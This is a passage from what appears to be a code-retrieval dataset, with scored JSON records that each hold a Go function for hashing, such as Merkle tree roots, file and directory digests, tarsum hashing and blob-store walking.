HashBytes(buf)\n\t\t\t}\n\t\t}\n\t\tn := len(lvl) / 2\n\t\tif len(lvl)%2 != 0 {\n\t\t\tn++\n\t\t}\n\t\tlvl = lvl[:n]\n\t}\n\troot = lvl[0]\n\treturn\n}", "title": "" }, { "docid": "f673da75e6c66e192ac171104dc2a59d", "score": "0.5651642", "text": "func makeBlobStoreWalkFunc(rootPath string, multilevel bool, ingest func(digest.Digest) error) (WalkFn, error) {\n\tvar (\n\t\t// number of slashes in a path to a full digest directory under a rootPath\n\t\tblobRefPathSepCount int\n\t\tblobTarsumRefPathSepCount int\n\t)\n\n\tif multilevel {\n\t\t// <alg>/<prefix>/<digest>\n\t\tblobRefPathSepCount = 2\n\t\t// tarsum/<version>/<alg>/<prefix>/<digest>\n\t\tblobTarsumRefPathSepCount = 4\n\t} else {\n\t\t// <alg>/<digest>\n\t\tblobRefPathSepCount = 1\n\t\t// tarsum/<version>/<alg>/<digest>\n\t\tblobTarsumRefPathSepCount = 3\n\t}\n\n\treturn func(fi storageDriver.FileInfo) error {\n\t\tif !fi.IsDir() {\n\t\t\t// ignore files\n\t\t\treturn nil\n\t\t}\n\n\t\t// trim <from>/ prefix\n\t\tpth := strings.TrimPrefix(strings.TrimPrefix(fi.Path(), rootPath), \"/\")\n\t\tsepCount := strings.Count(pth, \"/\")\n\n\t\tif sepCount < blobRefPathSepCount {\n\t\t\t// don't bother finding digests in a too short path\n\t\t\treturn nil\n\t\t}\n\n\t\talg := \"\"\n\t\ttarsumParts := reTarsumPrefix.FindStringSubmatch(pth)\n\t\tisTarsum := len(tarsumParts) > 0\n\t\tif sepCount > blobTarsumRefPathSepCount || (!isTarsum && sepCount > blobRefPathSepCount) {\n\t\t\t// too many path components\n\t\t\treturn ErrSkipDir\n\t\t}\n\n\t\tif len(tarsumParts) > 0 {\n\t\t\talg = \"tarsum.\" + tarsumParts[1] + \"+\"\n\t\t\t// trim \"tarsum/<version>/\" prefix from path\n\t\t\tpth = strings.TrimPrefix(pth[len(tarsumParts[0]):], \"/\")\n\t\t}\n\n\t\tdigestParts := reDigestPath.FindStringSubmatch(pth)\n\t\tif len(digestParts) > 0 {\n\t\t\talg += digestParts[1]\n\t\t\tdgstHex := digestParts[2]\n\t\t\tdgst := digest.NewDigestFromHex(alg, dgstHex)\n\t\t\t// append only valid digests\n\t\t\tif err := dgst.Validate(); err == nil {\n\t\t\t\terr := ingest(dgst)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn ErrFinishedWalk\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn ErrSkipDir\n\t\t}\n\n\t\treturn nil\n\t}, nil\n}", "title": "" }, { "docid": "77c6f8be721b9ca4d918e64d22a9ce92", "score": "0.5608999", "text": "func (h *Hash) Sum(rootNode *html.Node) ([]byte, error) {\n\ths := h.HashProvider()\n\tc := &ctx{\n\t\twriter: hs,\n\t\tignoreFunc: h.IgnoreFunc,\n\t}\n\tif c.ignoreFunc == nil {\n\t\tc.ignoreFunc = nopIgnoreFunc\n\t}\n\n\terr := c.sum(rootNode)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\td := hs.Sum(nil)\n\treturn d, nil\n}", "title": "" }, { "docid": "d429867cf03d1a6dde565b040573df58", "score": "0.5607222", "text": "func (t *Tree) Hash() string {\n\treturn fmt.Sprintf(\"%s:%d\", t.Location.String(), t.Depth)\n}", "title": "" }, { "docid": "e16a2fb9fca5485eaab9a5f0d3f86f03", "score": "0.5607034", "text": "func (t *TxPublish) Hash() (out [32]byte) {\n\th := sha256.New()\n\tbinary.Write(h,binary.LittleEndian,\n\t\tuint32(len(t.File.Name)))\n\th.Write([]byte(t.File.Name))\n\th.Write(t.File.MetafileHash)\n\tcopy(out[:], h.Sum(nil))\n\treturn\n}", "title": "" }, { "docid": "3141548ddc4e0c0f86ec49924035d112", "score": "0.5523711", "text": "func (b *Node) calculate_Hash() []byte {\n\tvar data []byte\n\tdata = bytes.Join([][]byte{[]byte(b.transaction)}, []byte{})\n\thash := sha256.Sum256(data)\n\treturn hash[:]\n}", "title": "" }, { "docid": "f18ca0c3527417bd322633d510d266a8", "score": "0.5512604", "text": "func CalFileHash(f *os.File) (hash string, err error) {\n\tinfo, err := f.Stat()\n\tif err != nil {\n\t\treturn\n\t}\n\tsize := info.Size()\n\thashes := make([][]byte, 0)\n\tbuf := make([]byte, lib.BufferSize)\n\n\tfor i := 0; i < int(size); i += lib.BufferSize {\n\t\tn, err := f.ReadAt(buf, int64(i))\n\t\tif err != nil && err != io.EOF {\n\t\t\treturn hash, err\n\t\t}\n\t\thashes = append(hashes, tpCrypto.SHA512BytesFromBytes(buf[:n]))\n\t}\n\thash = tpCrypto.SHA512HexFromBytes(bytes.Join(hashes, []byte{}))\n\treturn\n}", "title": "" }, { "docid": "7c0d5c47121e1c3b1c27457ba1838a8e", "score": "0.55023295", "text": "func getDigest(indexBytes []byte) string {\n\tindexFile := &helmrepo.IndexFile{}\n\t_ = yaml.UnmarshalStrict(indexBytes, indexFile)\n\tindexFile.Generated = time.Time{}\n\tindexBytes, _ = yaml.Marshal(indexFile)\n\thash := sha256.Sum256(indexBytes)\n\tdigest := hex.EncodeToString(hash[:])\n\treturn digest\n}", "title": "" }, { "docid": "6654a6d38b6ca2acab1aa21980012c7f", "score": "0.5501057", "text": "func Hash(file []byte) (string, error) {\n\tsh := sha512.New()\n\n\tif _, err := io.Copy(sh, bytes.NewReader(file)); err != nil {\n\t\tlog.Println(err)\n\t\treturn \"\", err\n\t}\n\n\thash1 := fmt.Sprintf(\"%x\", sh.Sum(nil))\n\n\treturn hash1, nil\n}", "title": "" }, { "docid": "54a56e0f1dbdbcd0f3db501ff3b811b6", "score": "0.5495734", "text": "func (muf *MutableForest) Hash() []byte {\n\treturn muf.commitsTree.Hash()\n}", "title": "" }, { "docid": "281da29091b08fc847cbec579b083907", "score": "0.54555845", "text": "func (srh *SybilResistanceHandler)createHash(nodeID string) []byte{\n\tbs := []byte(nodeID)\n\thasher := sha256.New()\n\thasher.Write(bs)\n\treturn hasher.Sum(nil)\n}", "title": "" }, { "docid": "42010363500d047f4c67fe2ee3c135a9", "score": "0.5443602", "text": "func HashTreeRoot(val interface{}) ([32]byte, error) {\n\tif val == nil {\n\t\treturn [32]byte{}, newHashError(\"untyped nil is not supported\", nil)\n\t}\n\trval := reflect.ValueOf(val)\n\tsszUtils, err := cachedSSZUtils(rval.Type())\n\tif err != nil {\n\t\treturn [32]byte{}, newHashError(fmt.Sprint(err), rval.Type())\n\t}\n\toutput, err := sszUtils.hasher(rval)\n\tif err != nil {\n\t\treturn [32]byte{}, newHashError(fmt.Sprint(err), rval.Type())\n\t}\n\treturn output, nil\n}", "title": "" }, { "docid": "1a1130c434c0866b19847eeadfa656c9", "score": "0.5405409", "text": "func Store(ctx context.Context, store cask.Store, fs billy.Filesystem, p string) (cask.Hash, error) {\n\twriter := caskio.NewWriter(store)\n\n\tdirEnts, err := fs.ReadDir(p)\n\tif err != nil {\n\t\treturn cask.ZeroHash, err\n\t}\n\n\tentries := make(entries, 0, len(dirEnts))\n\tfor _, dirEnt := range dirEnts {\n\t\tvar err error\n\t\tmode := NoMode\n\t\thash := cask.ZeroHash\n\t\tname := path.Join(p, dirEnt.Name())\n\t\tif dirEnt.IsDir() {\n\t\t\tmode = DirMode\n\t\t\thash, err = Store(ctx, store, fs, name)\n\t\t\tif err != nil {\n\t\t\t\treturn cask.ZeroHash, err\n\t\t\t}\n\t\t} else if dirEnt.Mode().IsRegular() {\n\t\t\tif dirEnt.Mode()&0111 == 0 {\n\t\t\t\tmode = FileMode\n\t\t\t} else {\n\t\t\t\tmode = ExecMode\n\t\t\t}\n\t\t\treader, err := fs.Open(name)\n\t\t\tif err != nil {\n\t\t\t\treturn cask.ZeroHash, err\n\t\t\t}\n\t\t\thash, err = caskblob.Store(ctx, store, reader)\n\t\t\tif err != nil {\n\t\t\t\treturn cask.ZeroHash, err\n\t\t\t}\n\t\t} else {\n\t\t\tcontinue\n\t\t}\n\t\tentries = append(entries, Entry{\n\t\t\tName: []byte(dirEnt.Name()),\n\t\t\tMode: mode,\n\t\t\tHash: hash,\n\t\t})\n\t}\n\n\tsort.Sort(entries)\n\tfor _, entry := range entries {\n\t\tif writer.Size()+cask.HashSize+4+len(entry.Name) > cask.BlockSize {\n\t\t\tif err := writer.Flush(ctx); err != nil {\n\t\t\t\treturn cask.ZeroHash, err\n\t\t\t}\n\t\t}\n\t\terr := writer.Link(ctx, entry.Hash)\n\t\tif err != nil {\n\t\t\treturn cask.ZeroHash, err\n\t\t}\n\t\tvar buf [4]byte\n\t\tbinary.BigEndian.PutUint16(buf[0:2], uint16(entry.Mode))\n\t\tbinary.BigEndian.PutUint16(buf[2:4], uint16(len(entry.Name)))\n\t\terr = writer.Copy(ctx, buf[:])\n\t\tif err != nil {\n\t\t\treturn cask.ZeroHash, err\n\t\t}\n\t\terr = writer.Copy(ctx, entry.Name)\n\t\tif err != nil {\n\t\t\treturn cask.ZeroHash, err\n\t\t}\n\t}\n\n\treturn writer.Sum(ctx)\n}", "title": "" }, { "docid": "3248eac7140e6d564062283b8b632315", "score": "0.5404265", "text": "func (tree *VersionedTree) Hash() []byte {\n\tif tree.latestVersion > 0 {\n\t\treturn tree.versions[tree.latestVersion].Hash()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c031d879db810ec8109c212eab33514f", "score": "0.5378587", "text": "func TestTree_SetHashFunc(t *testing.T) {\n\tdoctree := NewDocumentTree()\n\thashFunc, err := blake2b.New256(nil)\n\tassert.Nil(t, err)\n\tdoctree.SetHashFunc(hashFunc)\n\tdoctree.FillTree(&documents.LongDocumentExample, &documents.SaltedLongDocumentExample)\n\n\texpectedRootHash := []byte{0x87, 0xec, 0xe2, 0xbc, 0xe3, 0x55, 0x69, 0xf0, 0x43, 0x94, 0xca, 0x2f, 0xdc, 0xd1, 0xd8, 0x4d, 0xb0, 0x5c, 0x11, 0xc4, 0x4b, 0x54, 0x62, 0x70, 0x94, 0xc, 0xe5, 0x3e, 0x19, 0xe9, 0x44, 0x38}\n\tassert.Equal(t, expectedRootHash, doctree.rootHash)\n\n\tdoctreeSha256 := NewDocumentTree()\n\thashFuncSha256 := sha256.New()\n\tassert.Nil(t, err)\n\tdoctreeSha256.SetHashFunc(hashFuncSha256)\n\tdoctreeSha256.FillTree(&documents.LongDocumentExample, &documents.SaltedLongDocumentExample)\n\n\texpectedRootHash = []byte{0x61, 0xa7, 0x8f, 0x4a, 0xbb, 0xce, 0xa1, 0x2c, 0x17, 0x80, 0xa4, 0xd2, 0xa1, 0x91, 0xf8, 0x39, 0x64, 0xe8, 0xd7, 0xe7, 0xf7, 0xbe, 0xc5, 0x75, 0xe3, 0x0, 0xa9, 0xcf, 0xda, 0xb5, 0xa8, 0x28}\n\tassert.Equal(t, expectedRootHash, doctreeSha256.rootHash)\n}", "title": "" }, { "docid": "9cd8d6b2dfd1b85e4682ad55b0f8d48a", "score": "0.53502864", "text": "func calculateHash(files []file) (string, error) {\n\th := sha256.New()\n\tfor _, file := range files {\n\t\tf, err := os.Open(file.AbsoluteFileName)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to open file %s: %w\", file.AbsoluteFileName, err)\n\t\t}\n\t\tif _, err := io.Copy(h, f); err != nil {\n\t\t\t_ = f.Close()\n\t\t\treturn \"\", fmt.Errorf(\"failed to calculate hash of %s: %w\", file.AbsoluteFileName, err)\n\t\t}\n\t\terr = f.Close()\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to close file %s: %w\", file.AbsoluteFileName, err)\n\t\t}\n\t}\n\n\treturn hex.EncodeToString(h.Sum(nil)), nil\n}", "title": "" }, { "docid": "999ed861b3d7d3164dc9cd61bfb67f3d", "score": "0.5301656", "text": "func leafHash(leaf []byte) []byte {\n\treturn tmhash.Sum(append(leafPrefix, leaf...))\n}", "title": "" }, { "docid": "96d849adadc91525b4ec87c5e29b83cf", "score": "0.53011674", "text": "func (o ArtifactOutput) Hash() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Artifact) pulumi.StringOutput { return v.Hash }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "4f12f9cb6d4d840a581f418637df8cf5", "score": "0.530053", "text": "func (o *ObjectDatabase) WriteTree(t *Tree) ([]byte, error) {\n\tsha, _, err := o.encode(t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn sha, nil\n}", "title": "" }, { "docid": "eee3f97a506d2f89bdecd0f23e5e7894", "score": "0.5297803", "text": "func (in Leaves) TreeHash() Hash {\n\t// deep copy leaves since they must be modified in order to compute the hash\n\tlvl := append([]Hash{}, in...)\n\tbuf := make([]byte, 2*Size+1)\n\n\tfor len(lvl) > 1 {\n\t\tfor i := 0; i < len(lvl); i += 2 {\n\t\t\tif i+1 >= len(lvl) {\n\t\t\t\tlvl[i/2] = lvl[i]\n\t\t\t} else {\n\t\t\t\tbuf[0] = 0x01\n\t\t\t\tcopy(buf[1:], lvl[i][:])\n\t\t\t\tcopy(buf[1+Size:], lvl[i+1][:])\n\t\t\t\tlvl[i/2] = HashBytes(buf)\n\t\t\t}\n\t\t}\n\t\tn := len(lvl) / 2\n\t\tif len(lvl)%2 != 0 {\n\t\t\tn++\n\t\t}\n\t\tlvl = lvl[:n]\n\t}\n\treturn lvl[0]\n}", "title": "" }, { "docid": "5b1cca5abc782dd0f9b60cf8a8b9a02f", "score": "0.52851766", "text": "func (t *MerkleTree) Hash() common.Hash {\n\treturn t.Root.Hash()\n}", "title": "" }, { "docid": "3264c3c13520445f6693bf6d2b4bf24e", "score": "0.52501637", "text": "func parentHash(l, r Hash) Hash {\n\t// TODO So far no committing to height.\n\tif l == empty || r == empty {\n\t\tpanic(\"got an empty leaf here. \")\n\t}\n\th := sha512.New512_256()\n\th.Write(l[:])\n\th.Write(r[:])\n\n\t// What h.Sum returns is always 32 bytes but since h.Sum is an interface that\n\t// returns a slice of bytes, Go doesn't know this requires slice -> array\n\t// copying.\n\trh := Hash{}\n\tcopy(rh[:], h.Sum(nil))\n\treturn rh\n}", "title": "" }, { "docid": "10df1c369b3c067f19271c40f36d0a0e", "score": "0.52473074", "text": "func hashFileData(data []byte, hashing Apost, isPrivate bool) string {\n\t// Full checksum is 0xFE (added automatically if hex txes) + 0x4E + 0x54 + 0x59 + hashing version byte\n\tvar checksum string\n\tif isPrivate {\n\t\tchecksum = \"4e5459\" + hashing.signedVersion\n\t} else {\n\t\tchecksum = \"4e5459\" + hashing.version\n\t}\n\t// Build the apostille hash\n\tswitch hashing.name {\n\tcase \"MD5\":\n\t\thasher := md5.New()\n\t\thasher.Write([]byte(data))\n\t\treturn checksum + utils.Bt2Hex(hasher.Sum(nil))\n\tcase \"SHA1\":\n\t\thasher := sha1.New()\n\t\thasher.Write([]byte(data))\n\t\treturn checksum + utils.Bt2Hex(hasher.Sum(nil))\n\tcase \"SHA256\":\n\t\thasher := sha256.New()\n\t\thasher.Write([]byte(data))\n\t\treturn checksum + utils.Bt2Hex(hasher.Sum(nil))\n\tcase \"SHA3-256\":\n\t\thasher := sha3.New256()\n\t\thasher.Write([]byte(data))\n\t\treturn checksum + utils.Bt2Hex(hasher.Sum(nil))\n\tdefault:\n\t\thasher := sha3.New512()\n\t\thasher.Write([]byte(data))\n\t\treturn checksum + utils.Bt2Hex(hasher.Sum(nil))\n\t}\n}", "title": "" }, { "docid": "563b41907c7510f806ccb31c63220bd3", "score": "0.5245475", "text": "func (s *Screens) Hash() ([]byte, error) {\n\thashable := struct {\n\t\tRoots []render.Root\n\t\tImages []image.Image\n\t\tDelay int32\n\t}{\n\t\tRoots: s.roots,\n\t\tDelay: s.delay,\n\t}\n\n\tif len(s.roots) == 0 {\n\t\t// there are no roots, so this might have been a screen created directly\n\t\t// from images. if so, consider the images in the hash.\n\t\thashable.Images = s.images\n\t}\n\n\tj, err := json.Marshal(hashable)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"marshaling render tree to JSON\")\n\t}\n\n\th := sha256.Sum256(j)\n\treturn h[:], nil\n}", "title": "" }, { "docid": "d790508a0d9ffb6ade37c9c37d7dba7d", "score": "0.5213886", "text": "func GenerateAsh(seed []byte, rawchunk []byte) (rootHash []byte, err error) {\n segments := PrepareSegment(rawchunk, seed)\n tree, err := NewTree(segments)\n if err != nil {\n return rootHash, err\n }\n return tree.Roothash, nil\n}", "title": "" }, { "docid": "4f8b0f4e26561dc6a554eda84e3012eb", "score": "0.5190776", "text": "func fileHash(v tarsum.Version, name string) (string, error) {\n\tif v != tarsum.Version0 {\n\t\treturn \"\", errors.New(\"fileHash: unsupported tarsum version\")\n\t}\n\n\tf, err := os.Open(name)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdefer f.Close()\n\n\tfi, err := os.Stat(name)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif !fi.Mode().IsRegular() {\n\t\treturn \"\", errors.New(\"fileHash called on non-regular file\")\n\t}\n\n\tfih, err := tar.FileInfoHeader(fi, \"\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\theader := []string{\n\t\t\"name\", fih.Name,\n\t\t\"mode\", strconv.FormatInt(fih.Mode|syscall.S_IFREG, 10),\n\t\t\"uid\", strconv.Itoa(fih.Uid),\n\t\t\"gid\", strconv.Itoa(fih.Gid),\n\t\t\"size\", strconv.FormatInt(fih.Size, 10),\n\t\t\"mtime\", strconv.FormatInt(fih.ModTime.UTC().Unix(), 10),\n\t\t\"typeflag\", string([]byte{fih.Typeflag}),\n\t\t\"linkname\", fih.Linkname,\n\t\t\"uname\", fih.Uname,\n\t\t\"gname\", fih.Gname,\n\t\t\"devmajor\", strconv.FormatInt(fih.Devmajor, 10),\n\t\t\"devminor\", strconv.FormatInt(fih.Devminor, 10),\n\t}\n\n\t// Could get this from tarsum.DefaultTHash, but this seems fine.\n\th := sha256.New()\n\n\t// Write the header to the hash function.\n\tfor _, s := range header {\n\t\th.Write([]byte(s))\n\t}\n\n\t// Followed by the body of the file.\n\tif _, err := io.Copy(h, f); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn hex.EncodeToString(h.Sum(nil)), nil\n}", "title": "" }, { "docid": "6adc67b9eb22a230721d311bcab52884", "score": "0.5185415", "text": "func (tree *Trie) Commit() (common.Hash, error) {\n\thash, cached, err := tree.hashRoot(tree.db)\n\tif err != nil {\n\t\treturn common.Hash{}, err\n\t}\n\ttree.root = cached\n\treturn common.BytesToHash(hash.(hashNode)), nil\n}", "title": "" }, { "docid": "00f37dcb59901e133b7c7e7a371281f1", "score": "0.51802534", "text": "func (img *Image) saveACI(path string, packlist *os.File, perm os.FileMode) (*types.Hash, error) {\n\ttarArgs := []string{\"-C\", img.Path(), \"-c\", \"--null\", \"-f\", \"-\"}\n\tif packlist != nil {\n\t\ttarArgs = append(tarArgs, \"-n\", \"-T\", \"-\")\n\t} else {\n\t\t// no packlist -> flat ACI\n\t\tmanifest := img.Manifest\n\t\tmanifest.Dependencies = nil\n\t\tmanifest.PathWhitelist = nil\n\n\t\tmanifestF, err := ioutil.TempFile(img.Path(), \"manifest.flat.\")\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\tdefer os.Remove(manifestF.Name())\n\n\t\tif manifestB, err := json.Marshal(manifest); err != nil {\n\t\t\tmanifestF.Close()\n\t\t\treturn nil, errors.Trace(err)\n\t\t} else {\n\t\t\t_, err := manifestF.Write(manifestB)\n\t\t\tmanifestF.Close()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Trace(err)\n\t\t\t}\n\t\t}\n\n\t\tmanifestN := filepath.Base(manifestF.Name())\n\t\ttarArgs = append(tarArgs, \"-s\", \"/^\"+manifestN+\"$/manifest/\", manifestN, \"rootfs\")\n\t}\n\tarchiver := run.Command(\"tar\", tarArgs...).ReadFrom(packlist)\n\tif archive, err := archiver.StdoutPipe(); err != nil {\n\t\treturn nil, errors.Trace(err)\n\t} else {\n\t\thash := sha512.New()\n\t\tfaucet := io.TeeReader(archive, hash)\n\t\tsink := ioutil.Discard\n\t\tvar compressor *run.Cmd = nil\n\n\t\tif path != \"\" {\n\t\t\tif path == \"-\" {\n\t\t\t\tsink = os.Stdout\n\t\t\t} else {\n\t\t\t\tif f, err := os.OpenFile(path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, perm); err != nil {\n\t\t\t\t\treturn nil, errors.Trace(err)\n\t\t\t\t} else {\n\t\t\t\t\tdefer f.Close()\n\t\t\t\t\tsink = f\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif compression := img.Host.Properties.GetString(\"images.aci.compression\", \"no\"); compression != \"none\" {\n\t\t\t\tswitch compression {\n\t\t\t\tcase \"xz\":\n\t\t\t\t\tcompressor = run.Command(\"xz\", \"-z\", \"-c\")\n\t\t\t\tcase \"bzip2\":\n\t\t\t\t\tcompressor = run.Command(\"bzip2\", \"-z\", \"-c\")\n\t\t\t\tcase \"gz\":\n\t\t\t\tcase \"gzip\":\n\t\t\t\t\tcompressor = run.Command(\"gzip\", \"-c\")\n\t\t\t\tdefault:\n\t\t\t\t\treturn nil, errors.Errorf(\"Invalid setting images.aci.compression=%#v (allowed values: xz, bzip2, gzip, none)\", compression)\n\t\t\t\t}\n\n\t\t\t\tcompressor.Cmd.Stdout = sink\n\t\t\t\tif cin, err := compressor.StdinPipe(); err != nil {\n\t\t\t\t\treturn nil, errors.Trace(err)\n\t\t\t\t} else {\n\t\t\t\t\tsink = cin\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif err := archiver.Start(); err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\n\t\tif compressor != nil {\n\t\t\tif err := compressor.Start(); err != nil {\n\t\t\t\tarchiver.Cmd.Process.Kill()\n\t\t\t\treturn nil, errors.Trace(err)\n\t\t\t}\n\t\t}\n\n\t\tif _, err := io.Copy(sink, faucet); err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\n\t\tif hash, err := types.NewHash(fmt.Sprintf(\"sha512-%x\", hash.Sum(nil))); err != nil {\n\t\t\t// CAN'T HAPPEN, srsly\n\t\t\treturn nil, errors.Trace(err)\n\t\t} else {\n\t\t\treturn hash, nil\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4764d177d440851a583ed267540e319d", "score": "0.5177847", "text": "func (currdir *Dir) calcdigests(a *Analyzer) error {\n\t// we need a canonical list of the hashes of the files and subdirs\n\thashlist := make([]string,0)\n\n // tally up the hashes from completed goroutines\n\tfor _, currfile := range currdir.Files {\n\t\tif currfile.DigestErr != nil {\n\t\t\treturn currfile.DigestErr\n\t\t}\n\t\ta.storedirentry(currfile)\n\t\thashlist = append(hashlist, currfile.Digest)\n }\n for _, subdir := range currdir.Dirs {\n e := subdir.calcdigests(a)\n if e != nil {\n\t\t\treturn e\n }\n\t\thashlist = append(hashlist, subdir.Digest)\n }\n\n // sort digests of subdirs and files so we're not\n // sensitive to the order of traversal.\n sort.Strings(hashlist)\n\n h := sha1.New()\n\t// seed the hash with something to distinguish\n\t// an empty dir from an empty file:\n\tio.WriteString(h, \"DIRECTORYSEED\")\n\tfor _, hash := range hashlist {\n\t\tio.WriteString(h, hash)\n\t}\n currdir.Digest = hex.EncodeToString(h.Sum(nil))\n\ta.storedirentry(currdir)\n return nil\n}", "title": "" }, { "docid": "3cfa274c9db0cd09679485af3bffc335", "score": "0.517606", "text": "func TreeHash512(N int, Yl, Yf, Ym byte, data []byte) []byte {\n\treturn hasher.TreeHash(u, data, 0, uint64(N), Yl, Yf, Ym)\n}", "title": "" }, { "docid": "217d86c135e8fc19a8664a7e8f36b28e", "score": "0.5175278", "text": "func ComputeAsh(request AshRequest, rawchunk []byte) (response AshResponse, err error) {\n\tsegments := PrepareSegment(rawchunk, request.Seed)\n\ttree, err := NewTree(segments)\n\tif err != nil {\n\t\treturn response, err\n\t}\n\tchallenge := request.Challenge\n\tif challenge.ProofRequired {\n\t\tok, merkleroot, mkproof, jth := tree.GetProof(segments[challenge.Index].B)\n\t\tif !ok {\n\t\t\treturn response, err\n\t\t}\n\t\tresponse.Proof = &MerkleProof{Root: merkleroot, Path: mkproof, Index: jth}\n\t}\n\tresponse.root = tree.Roothash\n\tresponse.Mash = fmt.Sprintf(\"%x\", response.root)\n\treturn response, nil\n}", "title": "" }, { "docid": "9c31cd9e2a9e3f1027457f424e0027e8", "score": "0.51742", "text": "func (l *Leaf) GetHash() []byte {\n\tvar sortedIds []string\n\tfor id := range l.content {\n\t\tsortedIds = append(sortedIds, id)\n\t}\n\tsort.Strings(sortedIds)\n\n\thash := md5.New()\n\tfor _, key := range sortedIds {\n\t\thash.Write(l.content[key].GetHash())\n\t}\n\treturn hash.Sum(nil)\n}", "title": "" }, { "docid": "8c898fb839b7bda99f63004b68f056a3", "score": "0.51689994", "text": "func (mt *MerkleTree) FinalizeTree() {\n\tmt.lowerLevel = uint8(bits.Len8(mt.elements)) - 1\n\tmt.bitsOnHighLevel = 2 * (mt.elements - 1<<mt.lowerLevel)\n\n\t// fill highest complete filled level\n\tif mt.bitsOnHighLevel != 0 {\n\t\tmt.levelHash = make([][][32]byte, mt.lowerLevel+2)\n\n\t\tmt.levelHash[mt.lowerLevel+1] = make([][32]byte, mt.bitsOnHighLevel)\n\t\t// first fill the highes level\n\t\tfor i := uint8(0); i < mt.bitsOnHighLevel; i++ {\n\t\t\tmt.levelHash[mt.lowerLevel+1][i] = sha256.Sum256((*mt.data[i])[:])\n\t\t}\n\t\tvar buf [64]byte\n\t\t// fill the first full level, either with data hash or with hash of previous 2 hashes\n\t\tmt.levelHash[mt.lowerLevel] = make([][32]byte, 1<<mt.lowerLevel)\n\n\t\tfor i := uint8(0); i < (1 << mt.lowerLevel); i++ {\n\t\t\tif i < (mt.bitsOnHighLevel >> 1) {\n\t\t\t\tcopy(buf[0:32], mt.levelHash[mt.lowerLevel+1][i<<1][0:32])\n\t\t\t\tcopy(buf[32:64], mt.levelHash[mt.lowerLevel+1][i<<1+1][0:32])\n\t\t\t\tmt.levelHash[mt.lowerLevel][i] = sha256.Sum256(buf[:])\n\t\t\t} else {\n\t\t\t\tmt.levelHash[mt.lowerLevel][i] = sha256.Sum256((*mt.data[i+mt.bitsOnHighLevel/2])[:])\n\t\t\t}\n\n\t\t}\n\t} else {\n\t\tmt.levelHash = make([][][32]byte, mt.lowerLevel+1)\n\t\tmt.levelHash[mt.lowerLevel] = make([][32]byte, 1<<mt.lowerLevel)\n\t\tfor i := uint8(0); i < (1 << mt.lowerLevel); i++ {\n\t\t\tmt.levelHash[mt.lowerLevel][i] = sha256.Sum256((*mt.data[i])[:])\n\t\t}\n\n\t}\n\n\tfor i := mt.lowerLevel - 1; i != 255; i-- {\n\t\tmt.levelHash[i] = make([][32]byte, 1<<i)\n\n\t\tvar buf [64]byte\n\t\t// fill the first full level, either with data hash or with hash of previous 2 hashes\n\t\tfor j := uint8(0); j < (1 << i); j++ {\n\t\t\tcopy(buf[0:32], mt.levelHash[i+1][j<<1][0:32])\n\t\t\tcopy(buf[32:64], mt.levelHash[i+1][j<<1+1][0:32])\n\t\t\tmt.levelHash[i][j] = sha256.Sum256(buf[:])\n\t\t}\n\t}\n\tmt.finalized = true\n}", "title": "" }, { "docid": "e73e4a36a6837c4e5eb6fed96024abdf", "score": "0.51616776", "text": "func createHash(ctx context.Context, dir, name, image string, nBlocks uint) (hash, table string, err error) {\n\tf, err := ioutil.TempFile(dir, name+\".hash.\")\n\tif err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tdefer func() {\n\t\tif f != nil {\n\t\t\tos.Remove(f.Name())\n\t\t}\n\t}()\n\tif err := f.Close(); err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tcmd := testexec.CommandContext(\n\t\tctx, \"verity\", \"mode=create\", \"alg=sha256\",\n\t\t\"payload=\"+image, fmt.Sprintf(\"payload_blocks=%d\", nBlocks),\n\t\t\"hashtree=\"+f.Name())\n\tout, err := cmd.Output()\n\tif err != nil {\n\t\tcmd.DumpLog(ctx)\n\t\treturn \"\", \"\", err\n\t}\n\tret := f.Name()\n\tf = nil\n\treturn ret, strings.TrimSpace(string(out)), nil\n}", "title": "" }, { "docid": "418547556f14441ac62a03729ba4d6d5", "score": "0.5160727", "text": "func getHash(entry FileEntry, entries chan<- FileEntry) {\n if entry.IsDir() {\n errorString := fmt.Sprintf(\"Path is not a file : %s\", entry.Path)\n entry.Error = errors.New(errorString)\n } else {\n file, err := os.Open(entry.Path)\n if err != nil {\n entry.Error = err\n } else {\n defer file.Close()\n hash := sha1.New()\n\n tmpBuffer := make([]byte, sizeMB4)\n var currentPosition int64 = 0\n var threshholdCounter int64 = 0\n isEmpty := true\n entry.SHA = \"\"\n\n for {\n readCount, err := file.Read(tmpBuffer)\n if err != nil || readCount == 0 {\n if err != io.EOF {\n entry.Error = err\n }\n break\n }\n\n hash.Write(tmpBuffer[:readCount])\n currentPosition += int64(readCount)\n threshholdCounter += int64(readCount)\n isEmpty = false\n\n _, err = file.Seek(currentPosition, 0)\n if threshholdCounter >= 256 * sizeMB4 {\n sha := hex.EncodeToString(hash.Sum(nil))\n hash = sha1.New()\n entry.SHA += sha\n isEmpty = true\n threshholdCounter = 0\n }\n }\n\n if entry.Error == nil && !isEmpty {\n sha := hex.EncodeToString(hash.Sum(nil))\n entry.SHA += sha\n }\n }\n }\n entries <- entry\n threadPool.Done()\n}", "title": "" }, { "docid": "bd41964f60f96610fe4dd5a37da2e214", "score": "0.515679", "text": "func (a *authPath) calcHash(height, pos uint32) *[sha256.Size]byte {\n\tif height == 0 {\n\t\treturn 